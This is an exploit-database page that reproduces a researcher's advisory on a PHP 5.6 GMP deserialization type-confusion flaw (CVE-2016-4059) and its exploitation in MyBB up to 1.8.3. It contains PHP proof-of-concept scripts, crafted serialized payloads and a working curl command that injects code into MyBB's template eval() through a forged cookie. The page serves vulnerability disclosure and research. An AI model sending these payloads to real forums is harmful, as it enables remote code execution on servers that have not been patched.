Advertisement






PHP 5.6.x / MyBB 1.8.3 Remote Code Execution

CVE Category Price Severity
CVE-2016-4059 CWE-94 $1,500 High
Author Risk Exploitation Type Date
Rastating High Remote 2017-01-23
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H 0.0577 0.9246

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2017010184

Below is a copy:

PHP 5.6.x / MyBB 1.8.3 Remote Code Execution#GMP Deserialization Type Confusion Vulnerability [MyBB <= 1.8.3 RCEVulnerability]

Taoguang Chen <[@chtg57](https://twitter.com/chtg57)> - Write Date:
2015.4.28 - Release Date: 2017.1.20

> A type-confusion vulnerability was discovered in GMP deserialization with crafted object's __wakeup() magic method that can be abused for updating any already assigned properties of any already created objects, this result in serious security issues.

Affected Versions
------------
Affected is PHP 5.6 < 5.6.30

Credits
------------
This vulnerability was disclosed by Taoguang Chen.

Description
------------
gmp.c
```
static int gmp_unserialize(zval **object, zend_class_entry *ce, const
unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data
TSRMLS_DC) /* {{{ */
{
...
ALLOC_INIT_ZVAL(zv_ptr);
if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
|| Z_TYPE_P(zv_ptr) != IS_ARRAY
) {
zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC);
goto exit;
}

if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) {
zend_hash_copy(
zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr),
(copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *)
);
}
```

zend_object_handlers.c
```
ZEND_API HashTable *zend_std_get_properties(zval *object TSRMLS_DC) /* {{{ */
{
zend_object *zobj;
zobj = Z_OBJ_P(object);
if (!zobj->properties) {
rebuild_object_properties(zobj);
}
return zobj->properties;
}
```

It has been demonstrated many times before that __wakeup() or other
magic methods leads to `ZVAL` was changed from the memory in during
deserializtion. So an attacker can change `**object` into an
integer-type or bool-type `ZVAL`, then the attacker will be able to
access any objects that stored in objects store via `Z_OBJ_P`. This
means the attacker will be able to update any properties in the object
via zend_hash_copy(). It is possible to lead to various problems and
including security issues.

The following codes will prove this vulnerability:
```
<?php

class obj
{
var $ryat;

function __wakeup()
{
$this->ryat = 1;
}
}

$obj = new stdClass;
$obj->aa = 1;
$obj->bb = 2;

$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:3:"obj":1:{s:4:"ryat";R:2;}}';
$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';
$x = unserialize($exploit);
var_dump($obj);

?>
```

Expected result:
```
object(stdClass)#1 (2) {
  ["aa"]=>
  int(1)
  ["bb"]=>
  int(2)
}
```

Actual result:
```
object(stdClass)#1 (3) {
  ["aa"]=>
  string(2) "hi"
  ["bb"]=>
  string(2) "hi"
  [0]=>
  object(obj)#3 (1) {
    ["ryat"]=>
    &int(1)
  }
}
```

**i) How to exploited this bug in real world?**

When PHP 5.6 <= 5.6.11, DateInterval's __wakeup() use
convert_to_long() handles and reassignments its properties (it has
been demonstrated many times), so an attacker can convert GMP object
to an any integer-type `ZVAL` via GMP's gmp_cast_object():

```
static int gmp_cast_object(zval *readobj, zval *writeobj, int type
TSRMLS_DC) /* {{{ */
{
    mpz_ptr gmpnum;
    switch (type) {
    ...
    case IS_LONG:
        gmpnum = GET_GMP_FROM_ZVAL(readobj);
        INIT_PZVAL(writeobj);
        ZVAL_LONG(writeobj, mpz_get_si(gmpnum));
        return SUCCESS;
```

The following codes will prove this exploite way:
```
<?php

var_dump(unserialize('a:2:{i:0;C:3:"GMP":17:{s:4:"1234";a:0:{}}i:1;O:12:"DateInterval":1:{s:1:"y";R:2;}}'));

?>
```
Of course, a crafted __wakeup() can also be exploited, ex:

```
<?php

function __wakeup()
{
    $this->ryat = (int) $this->ryat;
}

?>
```

**ii) Can be exploited this bug in real app?**

Exploited the bug in MyBB:

index.php
```
if(isset($mybb->cookies['mybb']['forumread']))
{
$forumsread = my_unserialize($mybb->cookies['mybb']['forumread']);
}
```

MyBB <= 1.8.3 allow deserialized cookies via unserialize(), so an
attacker will be able to update `$mybb` or other object's any
properties, and it is possible to lead to security issues easily, ex:
xss, sql injection, remote code execution and etc. :-)

**P.S. I had reported this vulnerability and it had been fixed in mybb
>= 1.8.4.**

Proof of Concept Exploit
------------
**MyBB <= 1.8.3 RCE vulnerability**

index.php
```
eval('$index = "'.$templates->get('index').'";');
```

MyBB always use eval() function in during template parsing.

inc/class_templates.php
```
class templates
{
...
public $cache = array();
...
function get($title, $eslashes=1, $htmlcomments=1)
{
global $db, $theme, $mybb;
...
$template = $this->cache[$title];
...
return $template;
}
```

If we can control the `$cache`, we will be albe to inject PHP code via
eval() function.

inc/init.php
```
$error_handler = new errorHandler();
...
$maintimer = new timer();
...
$mybb = new MyBB;
...
switch($config['database']['type'])
{
case "sqlite":
$db = new DB_SQLite;
break;
case "pgsql":
$db = new DB_PgSQL;
break;
case "mysqli":
$db = new DB_MySQLi;
break;
default:
$db = new DB_MySQL;
}
...
$templates = new templates;
```

The `$templates` object was instantiated in init.php, and four objects
was instantiated in this before. This means the `$templates` object's
handle was set to `5` and stored into objects store, so we can access
the `$templates` object and update the `$cache` property via convert
GMP object into integer-type `ZVAL` that value is `5` in during GMP
deserialization. This also means we can inject PHP code via eval()
function.

When MyBB <= 1.8.3 and PHP 5.6 <= 5.6.11, remote code execution by
just using curl on the command line:
```
curl --cookie 'mybb[forumread]=a:1:{i:0%3bC:3:"GMP":106:{s:1:"5"%3ba:2:{s:5:"cache"%3ba:1:{s:5:"index"%3bs:14:"{${phpinfo()}}"%3b}i:0%3bO:12:"DateInterval":1:{s:1:"y"%3bR:2%3b}}}}'
http://127.0.0.1/mybb/
```




Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum